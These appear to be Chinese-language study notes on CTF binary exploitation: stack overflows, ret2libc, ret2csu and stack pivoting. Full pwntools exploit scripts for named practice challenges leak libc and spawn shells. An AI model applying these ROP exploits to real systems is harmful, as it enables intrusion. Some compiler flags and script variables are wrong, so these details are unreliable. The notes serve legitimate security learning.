栈溢出

介绍

​ 栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是:

  • 程序必须向栈上写入数据。
  • 写入的数据大小没有被良好地控制。

基本栈

栈是一种先进后出的数据结构,主要有PUSH和POP两种操作,都是对栈顶的元素进行操作。

内存中从高地址向低地址生长,高地址为父函数的栈帧

image-20240429194316790

基本实例:

最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址,当然需要确保这个地址所在的段具有可执行权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <string.h>

void success(void)
{
puts("flag{You Hava already controlled it!}");
}

void vulnerable(void)
{
char s[12];

gets(s);
puts(s);

return;
}

int main(int argc, char **argv)
{
vulnerable();
return 0;
}

这个程序的主要目的读取一个字符串,并将其输出。我们希望可以控制程序执行 success 函数。

我们利用如下命令对其进行编译:gcc hello.c -o hello(程序员的自我修养-第二章,编译和链接)

可以看出 gets 本身是一个危险函数。它从不检查输入字符串的长度,而是以回车来判断输入是否结束,所以很容易可以导致栈溢出,

历史上,莫里斯蠕虫第一种蠕虫病毒就利用了 gets 这个危险函数实现了栈溢出。

编译成功后,得到可执行文件,可以使用 checksec 工具检查编译出的文件:

checksec工具使用

Arch:

程序架构信息。判断是拖进64位IDA还是32位?exp编写时p64还是p32函数?

32位一般同过堆栈传参,而64位为通过寄存器传参

RELRO

Relocation Read-Only (RELRO) 此项技术主要针对 GOT 改写的攻击方式。它分为两种,Partial RELRO 和 Full RELRO。
部分RELRO 易受到攻击,例如攻击者可以atoi.got为system.plt,进而输入/bin/sh\x00获得shell
完全RELRO 使整个 GOT 只读,从而无法被覆盖,但这样会大大增加程序的启动时间,因为程序在启动之前需要解析所有的符号。

1
2
3
4
gcc -o stack stack.c // 默认情况下,是Partial RELRO
gcc -o stack stack.c // 关闭,即No RELRO
gcc -z lazy -o stack stack.c // 部分开启,即Partial RELRO
gcc -z now -o stack stack.c // 全部开启,即Full RELRO

Stack-canary

栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入类似cookie的信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。

1
2
3
gcc -fno-stack-protector  -o stack stack.c   //禁用栈保护
gcc -fstack-protector -o stack stack.c //启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
gcc -fstack-protector-all -o stack stack.c //启用堆栈保护,为所有函数插入保护代码

NX

NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,如此一来, 当攻击者在堆栈上部署自己的 shellcode 并触发时, 只会直接造成程序的崩溃,但是可以利用rop这种方法绕过

1
2
3
gcc -o  stack stack.c // 默认情况下,开启NX保护
gcc -o stack stack.c // 禁用NX保护
gcc -z noexecstack -o stack stack.c // 开启NX保护

PIE

PIE(Position-Independent Executable, 位置无关可执行文件)技术与 ASLR 技术类似,ASLR 将程序运行时的堆栈以及共享库的加载地址随机化, 而 PIE 技术则在编译时将程序编译为位置无关, 即程序运行时各个段(如代码段等)加载的虚拟地址也是在装载时才确定。这就意味着, 在 PIE 和 ASLR 同时开启的情况下, 攻击者将对程序的内存布局一无所知, 传统的改写
GOT 表项的方法也难以进行, 因为攻击者不能获得程序的.got 段的虚地址。
若开启一般需在攻击时泄露地址信息

1
2
3
4
 gcc -o stack stack.c  // 默认情况下,不开启PIE
gcc -fpie -pie -o stack stack.c // 开启PIE,此时强度为1
gcc -fPIE -pie -o stack stack.c // 开启PIE,此时为最高强度2
(还与运行时系统ALSR设置有关)
  • 转为32位,把它们四个都关了
1
2
3
gcc -fpie -pie -o hello hello.c

gcc -m32 -o hello hello.c -fno-stack-protector -z execstack -z norelro -no-pie
  • 确认栈溢出和 PIE 保护关闭后,我们利用 IDA 来反编译一下二进制程序并查看 vulnerable 函数 。可以看到:
1
2
3
4
5
6
7
int vulnerable()
{
char s; // [sp+4h] [bp-14h]@1

gets(&s);
return puts(&s);
}
  • 字符串距离 ebp 的长度为 0x14,那么相应的栈结构为:
1
2
3
4
5
6
7
8
9
10
11
12
             +-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14-->+-----------------+

并且,我们可以通过 IDA 获得 success 的地址,其地址为 0804841B。

那么如果我们读取的字符串为

0x14*’a’+’bbbb’+success_addr

因为,由于 gets 会读到回车才算结束,所以我们可以直接读取所有的字符串,并且将 saved ebp 覆盖为 bbbb,将 retaddr 覆盖为 success_addr,即,此时的栈结构为:

1
2
3
4
5
6
7
8
9
10
11
12
             +-----------------+
| 0x0804841B |
+-----------------+
| bbbb |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14-->+-----------------+

但是需要注意的是,由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小端存储,即 0x0804843B 在内存中的形式是:

1
\x1b\x84\x04\x08

但是,我们又不能直接在终端将这些字符给输入进去,在终端输入的时候 \,x 等也算一个单独的字符。。所以我们需要想办法将 \x3b 作为一个字符输入进去。那么此时我们就需要使用一波 pwntools 了,这里利用 pwntools 的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process('./stack_example')
success_addr = 0x08049186
## 构造payload
payload = b'a' * 0x14 + b'bbbb' + p32(success_addr)
print(p32(success_addr))
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()

结束

栈溢出原理 - CTF Wiki (ctf-wiki.org)

pwntools安装

1
2
3
4
5
$ apt-get update
$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools

中级ROP-泄露libc版本

利用原理:

  • ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。
  • 而通常我们不会得到 system(“/bin/sh”)。这里就需要我们泄露libc基址得到偏移,来获取system函数地址以及/bin/sh的地址。

延迟绑定:

延迟绑定实现
为了解决上面动态链接的弊端,ELF采用了一种叫做延迟绑定(Lazy Binding)的做法,基本思想就是当函数第一次被用到时才进行绑定(符号查找、重定位等),如果没有用到则不进行绑定。所以程序开始时,模块间的函数调用都没有进行绑定,而是需要用到时才由动态链接器来负责绑定

ELF使用PLT(Procedure Linkage Table)的方法来实现,在这之前,先从动态链接器的角度设想一下:假设liba.so需要调用liba.so中的bar()函数,你那么当liba.so中第一次调用bar()时,这时候就需要调用动态链接器中的某个函数来完成地址绑定工作,夹着这个函数叫做lookup(),那么lookup()需要知道这个地址绑定发生在哪个模块、哪个函数。假设lookup()的原型为lookup(module,function),两个参数分别是liba.so和bar()。在Glibc中,lookup()函数真正的名字叫做_dl_runtime_resolve()

当我们调用某个外部模块的函数时,PLT为了实现延迟绑定,在这个过程中有增加了一层间接跳转。调用函数并不直接通过GOT跳转,而是通过一个叫做PLT项的结构来进行跳转,每个外部函数在PLT中都有一个相应的项,比如bar()函数在PLT中的项的地址称之为bar@plt:

1
2
3
4
5
6
bar@plt:
jmp *(bar@GOT)
push n
push moduleID
jump __dl_runtime_resolve

bar@plt的第一条指令是一条通过GOT间接跳转的指令,bar@GOT表示GOT中保存bar()这个函数相应的项。若果链接器在初始化阶段已经初始化该项,并且将bar()的地址填入该项,那么这个跳转指令的结果就是我们所期望的,跳转到bar(),实现函数正确调用。

但是为了实现延迟绑定,链接器在初始化并没有将bar()的地址填入到该项,而是将上面代码中第二条指令”push n“的地址填入到bar@GOT中,这个步骤不需要任何符号,所以代价很低。
第一条指令的效果是跳转到提二条指令,相当于没有任何操作。
第二条指令将一个数字n压入栈中,这个数字是bar这个符号引用在重定位表”.rel.plt“中的下标
第三条push指令将模块的ID压入到栈中
第四条跳转到dl_runtime_resolve
也就是在实现前面提到的lookup(module, function)这个函数的调用:先将所需要决议符号的下标压入栈,在将模块ID压入栈,然后调用动态链接器的dl_runtime_resolve()函数来完成符号解析和重定位工作。_dl_runtime_resolve()在进行一系列工作以后将bar()的真正地址填入到bar@GOT中

一旦bar()这个函数被解析完毕,再次调用bar@plt时,第一条jmp指令就能够跳转到真正的bar()函数中,bar()函数返回的时候会根据站里面保存的EIP直接返回到调用者,而不会在执行bar@plt中第二条指令开始的那段代码,那段代码只会在符号未被解析时执行一次

ELF将GOT拆分两个表叫做”.got“和”.got.plt“。其中”.got“用来保存全局变量引用地址,”.got.plt“用来保存函数引用地址,所有外部函数的引用全部非分离出来放在”.got.plt“中。另外”.got.plt“还有特殊的提房就是他的前三项:

第一项是“.dynamic”段的地址,这个段描述了本模块动态链接相关的信息
第二项保存的是本模块的ID
第三项保存的是_dl_runtime_resolve()的地址
其中第二项和第三项由动态链接器在装载共享模块的时候将他们初始化”.got.plt“的其余项分别对应每个外部函数的引用。PLT的结构为了减少代码的重复,ELF把上面例子中最后两条指令放到PLT中的第一项。并规定每一项的长度时16个字节,刚好存放3条指令,实际的PLT基本结构如下:

image-20240718205329811

实际的PLT基本结构代码如下:

1
2
3
4
5
6
7
8
PLT0:
push *(GOT + 4)
jump *(GOT + 8)
...
bar@plt:
jmp *(bar@GOT)
push n
jump PLT0

PTL在ELF文件中以独立的段存放,段名通常叫做“.plt”,因为它本身是一些地址无关的代码,所以可以跟代码段等一起合并同一个可读可执行的“Segment”被装载入内存。

image-20240719090854839

image-20240719090908287

利用思路:

  • 泄露_libc_start_main地址
  • 获取libc版本
  • 通过偏移计算出system函数地址以及/bin/sh的地址
  • 再次执行程序
  • 触发栈溢出执行system(’/bin/sh’)

例题:BUUCTF-ciscn_2019_c_1

  • 首先泄露基地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#64位

from pwn import *
#from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os='linux'
p = remote('node5.buuoj.cn',27507)
elf = ELF('./1111')

#params
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
pop_rdi =0x0000000000400c83
ret_addr=0x00000000004006b9
#上面两个参数的地址是利用ROPgadget工具得到的
#多了ret的地址是因为ubuntu18及以上在调用system函数的时候会先进行一个检测,如果此时的栈没有16字节对齐的话,就会强行把程序crash掉,所以需要栈对齐
#attack1

payload = b'a'*(0x50+8)+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendlineafter('Input your choice!\n',b'1')
p.recvuntil('Input your Plaintext to be encrypted\n')
p.sendline(payload)
p.recvuntil('Ciphertext\n')
p.recvuntil('\n')
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))

得到puts函数的地址后

  • 获取libc版本

方法一:网站查询

1
https://libc.rip/#:~:text=URL%3A%20https%3A%2F%2Flibc,100

方法二:使用工具:Libcsearcher

1
from LibcSearcher import *

  • 计算system函数地址以及/bin/sh的地址
  • 进行二次攻击
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#params2
put_addr=0x809c0
str_bin_sh=0x1b3e9a
system_addr=0x4f440
#构建libc
libcbase = puts_addr - put_addr
system_addr = libcbase + system_addr
bin_sh = libcbase + str_bin_sh


#attack2
payload = flat([b'a'*(0x50+8),ret_addr,pop_rdi,bin_sh,system_addr])
p.sendlineafter('Input your choice!\n',b'1')

p.recvuntil('Input your Plaintext to be encrypted\n')
p.sendline(payload)
#p.recvuntil('Ciphertext\n')
#p.recvuntil('\n')

p.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#文件库
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
system_addr = libc_base+libc.dump("system")
bin_sh = libc_base+libc.dump("str_bin_sh")

#attack2
p.sendlineafter('Input your choice!\n',b'1')
p.recvuntil('Input your Plaintext to be encrypted\n')
payload = flat([b'a'*(0x50+8),ret_addr,pop_rdi,bin_sh,system_addr])
p.sendline(payload)
#p.recvuntil('Ciphertext\n')
#p.recvuntil('\n')
p.interactive()

工具:ROPgadget

一、查找寄存器的地址

1
ROPgadget --binary 文件名 --only "pop|ret" | grep rdi

二、查找一些字符串的地址

1
ROPgadget --binary 文件名 --string /bin/sh

三、查看分析文件的二进制gadgets信息

1
ROPgadget --binary 文件名 

工具:Libcsearcher

1
git clone https://github.com/lieanu/LibcSearcher.git

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#64位
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os='linux'
p = remote('node5.buuoj.cn',27507)
elf = ELF('./1111')



#params
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
pop_rdi =0x0000000000400c83
ret_addr=0x00000000004006b9
#attack1
payload = b'a'*(0x50+8)+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)

p.sendlineafter('Input your choice!\n',b'1')

p.recvuntil('Input your Plaintext to be encrypted\n')
p.sendline(payload)
p.recvuntil('Ciphertext\n')
p.recvuntil('\n')
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
#print(hex(puts_addr))


#构建libc

libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
system_addr = libc_base+libc.dump("system")
bin_sh = libc_base+libc.dump("str_bin_sh")

#attack2
payload = flat([b'a'*(0x50+8),ret_addr,pop_rdi,bin_sh,system_addr])
p.sendlineafter('Input your choice!\n',b'1')
p.recvuntil('Input your Plaintext to be encrypted\n')
p.sendline(payload)
#p.recvuntil('Ciphertext\n')
#p.recvuntil('\n')

p.interactive()

栈结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
           +---------------------------+
| main | 返回到main函数,从而可以再次控制程序流程。
+---------------------------+
| puts_plt | 调用puts函数
+---------------------------+
| puts_got | 参数一,传递给puts函数的参数。
+---------------------------+
| pop_rdi | 将指令压入栈中,以便将puts_got的地址传递给puts函数
+---------------------------+
| a | 覆盖返回地址
rbp--->+---------------------------+
| a | a占位填满栈空间
| .... | ......
| a | a占位填满栈空间
| a | a占位填满栈空间
| a | a占位填满栈空间
| a | a占位填满栈空间
rbp-0x50-->+---------------------------+

高级ROP-ret2CSU

题目:NewStarCTF 2024-My_GBC!!!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

initial(argc, argv, envp);
write(1, "It's an encrypt machine.\nInput something: ", 0x2CuLL);
len = read(0, buf, 0x500uLL);
write(1, "Original: ", 0xBuLL);
write(1, buf, len);
write(1, "\n", 1uLL);
encrypt(buf, (unsigned __int8)key, (unsigned int)len);
write(1, "Encrypted: ", 0xCuLL);
write(1, buf, len);
write(1, "\n", 1uLL);
return 0;
}

这里直接粘贴脚本了,有时间再回来补

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import*
#from LibcSearcher import*
context.log_level = 'debug'
context.arch = 'amd64'
context.os='linux'
r=remote('8.147.129.74',39297)
#r=process('./1111')
elf=ELF('./1111')
libc=ELF("./libc.so.6")




def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))



def decrypt(data, key, length):
decrypted = bytearray(data) # 将数据转换为可修改的字节数组
for i in range(length):
# 右循环位移3位
decrypted[i] = ((decrypted[i] >> 3) | (decrypted[i] << 5)) & 0xFF
# 异或还原
decrypted[i] ^= key
return decrypted
# 示例数据和密钥



csu_rear=0x04013AA
csu_head=0x0401390
main_addr=0x0040124C

pop_rdi=0x00000000004013b3
ret_addr=0x000000000040101a




payload =b'a'*(0x10+8)+ p64(csu_rear) + p64(0) + p64(1) + p64(1) + p64(elf.got['read']) + p64(8) + p64(elf.got['write'])+p64(csu_head)+p64(0)*7+p64(main_addr)
key = 0x5a # 加密时使用的密钥
length = len(payload)

# 解密
plaintext = decrypt(payload, key, length)
#print("解密后的数据:", plaintext.decode('utf-8', errors='ignore'))



r.sendafter('something:',plaintext)

libc_base=u64(r.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['read']
print (hex(libc_base))




system_addr=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()



payload1=b'a'*(0x10+8)+p64(ret_addr)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
key = 0x5a # 加密时使用的密钥
length1 = len(payload1)
plaintext1 = decrypt(payload1, key, length1)


r.sendafter('something:',plaintext1)


r.interactive()

栈迁移

什么是栈迁移?

简单来说就是控制执行流

为什么要执行栈迁移?

简单来说就是缓冲区的长度,无法溢出到我们所需的返回地址,或者是无法构建ROP

总之就是长度不够

使用栈迁移的条件:

  • 1、要能够栈溢出,这点尤其重要,最起码也要溢出覆盖个ebp

  • 2、你要有个可写的地方(就是你要GetShell的地方),先考虑bss段,最后再考虑写到栈中

栈迁移的原理

  • 首先理解ebp和ebp的内容不是一个东西,一个是返回地址,一个是指ebp里面的内容,一般情况下,所指的内容也可能是一个地址。

  • 栈迁移的核心

1
2
3
4
5
6
7
leave    ;指令
move esp ebp ;
pop ebp ;


ret ; 指令
pop eip ;

简单介绍一下这两个指令

image-20240831151450201

我们在做栈迁移的题的时候,目的就是修改ebp的内容(修改为我们想要溢出的地址),然后把返回地址填充为leave,ret的地址

  • 因为我们想要实现栈迁移,就必须执行两个leave;ret,main函数正常结束,只有一个level;ret,因此我们在这里必须要它的返回地址写成leave;ret地址,以来进行第二次leave;ret)

image-20240831152616621

  • 核心是利用两次的leave;ret,第一次leave ret;将ebp给放入我们指定的位置(这个位置的就是迁移后的所在位置)第二次将esp也迁移到这个位置,并且pop ebp之后,esp也指向了下一个内存单元(此时这里放的就是system函数的plt地址),最终成功GetShell。

例题:

BUUCTF-ciscn_2019_es_2

BUUCTF-ciscn_2019_s_4

日常检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
bbq@ubuntu:~/text/1$ checksec 1111
[*] '/home/bbq/text/1/1111'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
bbq@ubuntu:~/text/1$ chmod +x 1111
bbq@ubuntu:~/text/1$ ./1111
Welcome, my friend. What's your name?
ok
Hello, ok

ok
Hello, ok

bbq@ubuntu:~/text/1$

丢进ida里面看看,

1
2
3
4
5
6
7
8
9
10
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
read(0, s, '0');
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}

劫持到栈上

  • 一、泄露ebp

  • 二、找到参数s在栈上的位置

  • 三、布置s栈上的值

  • 四、栈劫持、获取shell

泄露ebp、找到s在栈上的位置

还是很简单的,printf函数在输出的时候遇到’\0‘会停止,如果我们将参数s全部填满,这样就没法在末尾补上’\0‘,那样就会将ebp连带着输出。

1
2
3
4
5
6
payload=b'a'*0x27+b'b'
r.send(payload)
r.recvuntil("b")
s=ebp=u32(r.recv(4))-0x38

#aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

布置s栈上的值

1
2
3
4
5
payload2=b'aaaa'+p32(sys)+p32(ret_addr)+p32(s+0x10)+b"/bin/sh"
#deadbeef
#PORgadeget
payload2=payload2.ljust(0x28,b'\x00')
payload2+=p32(s)+p32(leave_ret)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

#r=remote('node3.buuoj.cn',28967)
r=process('./1111')
sys=0x8048400
leave_ret=0x80485FD
#main=0xdeadbeef
ret_addr=0x080483a6



payload=b'a'*0x27+b'b'
r.send(payload)

r.recvuntil("b")
s=ebp=u32(r.recv(4))-0x38

payload2=b'aaaa'+p32(sys)+p32(ret_addr)+p32(s+0x10)+b"/bin/sh"
payload2=payload2.ljust(0x28,b'\x00')
payload2+=p32(s)+p32(leave_ret)

r.send(payload2)
r.interactive()

BUUCTF-actf_2019_babystack

日常检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bbq@ubuntu:~/text/3$ checksec 1111
[*] '/home/bbq/text/3/1111'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
bbq@ubuntu:~/text/3$ chmod +x 1111
bbq@ubuntu:~/text/3$ ./1111
Welcome to ACTF's babystack!
okok
koHow many bytes of your message?
>Your message will be saved at 0x7fff0747b9b0
What is the content of your message?
>Byebye~
bbq@ubuntu:~/text/3$
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[208]; // [rsp+0h] [rbp-D0h] BYREF

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
signal(14, handler);
alarm(0x3Cu);
memset(s, 0, sizeof(s));
puts("Welcome to ACTF's babystack!");
sleep(3u);
puts("How many bytes of your message?");
putchar(62);
sub_400A1A();
if ( nbytes <= 224 )
{
printf("Your message will be saved at %p\n", s);
puts("What is the content of your message?");
putchar(62);
read(0, s, nbytes);
puts("Byebye~");
return 0LL;
}
else
{
puts("I've checked the boundary!");
return 1LL;
}
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import*
from LibcSearcher import*
#context(log_level='debug')
#p=process('./babystack')
p=remote('node5.buuoj.cn',28677)
elf=ELF('./1111')


puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
#mian=elf.symbols['main']
leave_ret=0x400a18
ret=0x400709
main=0x4008F6
pop_rdi=0x400ad3
ret=0x400709


p.sendlineafter(b'message?',b'224')
p.recvuntil(b'at ')
rsp=int(p.recv(14),16)
#print(rsp)
rbp=rsp+0xd0
payload=b'a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)

payload=payload.ljust(0xd0,b'a')
payload+=p64(rsp)+p64(leave_ret)
p.sendafter(b'your message?',payload)

puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))



libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
system=libcbase+libc.dump('system')
binsh=libcbase+libc.dump("str_bin_sh")

p.sendlineafter(b'message?',b'224')
p.recvuntil(b'at ')
rsp=int(p.recv(14),16)
print(hex(rsp))
rbp=rsp+0xd0
payload=b'a'*8+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
payload=payload.ljust(0xd0,b'a')
payload+=p64(rsp)+p64(leave_ret)
p.sendafter(b'your message?',payload)
p.interactive()

BUUCTF-gyctf_2020_borrowstack

日常检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
bbq@ubuntu:~/text/2$ checksec 1111
[*] '/home/bbq/text/2/1111'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
bbq@ubuntu:~/text/2$ chmod +x 1111
bbq@ubuntu:~/text/2$ ./1111
Welcome to Stack bank,Tell me what you want
ok
Done!You can check and use your borrow stack now!
ok
bbq@ubuntu:~/text/2$

丢进ida里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[96]; // [rsp+0h] [rbp-60h] BYREF

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts("Welcome to Stack bank,Tell me what you want");
read(0, buf, 112uLL);
puts("Done!You can check and use your borrow stack now!");
read(0, &bank, 0x100uLL);
return 0;
}
//bank在bss段上,并且buf在栈上

这么看就是第一次进行在buf上,在bss段上进行泄露

这里要注意的是bss段上距离got表太近了说是,就用ret进行抬高栈帧

栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
p=remote('node4.buuoj.cn',25199)
context(arch='amd64',os='linux',log_level='debug')
libc=ELF('libc-2.23.so')
e=ELF('./a')
puts_plt_addr=e.plt['puts']
puts_got_addr=e.got['puts']
pop_rdi_addr=0x400703
level_ret_addr=0x400699
bss_addr=0x601080
ret_addr=0x4004c9
main_addr=0x400626
payload1=0x60*'a'+p64(bss_addr)+p64(level_ret_addr)
p.send(payload1)
payload2=p64(ret_addr)*20 #这里ret最少是20个,也可以多一点
payload2+=p64(pop_rdi_addr)+p64(puts_got_addr)+p64(puts_plt_addr)
payload2+=p64(main_addr)
p.sendafter('Done!You can check and use your borrow stack now!\n',payload2)
puts_addr=u64(p.recv(6).ljust(8,'\x00'))
libc_base=puts_addr-libc.symbols['puts']
shell=libc_base+0x4526a
print(hex(shell))
payload3=0x60*'a'+p64(0xdeadbeef)+p64(shell)
p.recvuntil('u want\n')
p.send(payload3)
p.recvuntil('Done!You can check and use your borrow stack now!\n')
p.send('1')
p.interactive()


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
from LibcSearcher import *

#r=remote('node3.buuoj.cn',29385)
p=process('./1111')
elf=ELF('./1111')
#libc=('./libc.so.6')



#puts_got=0x0601018
#main=0x0400626
#puts_plt=0x04004E0
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=elf.symbols['main']

ret=0x4004c9
pop_rdi=0x400703
bank=0x0601080
leave=0x400699

r.recvuntil('u want')
payload='a'*0x60+p64(bank)+p64(leave)
r.send(payload)

r.recvuntil('now!')
payload=p64(ret)*20+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.send(payload)
r.recvline()

puts_addr=u64(r.recv(6).ljust(8,'\x00'))
print hex(puts_addr)

libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')

one_gadget=libc_base+0x4526a

#system=libc_base+libc.dump('system')
#binsh=libc_base+libc.dump('str_bin_sh')

#payload='a'*(0x60+8)+p64(pop_rdi)+p64(binsh)+p64(system)
payload='a'*(0x60+8)+p64(one_gadget)
r.send(payload)

r.interactive()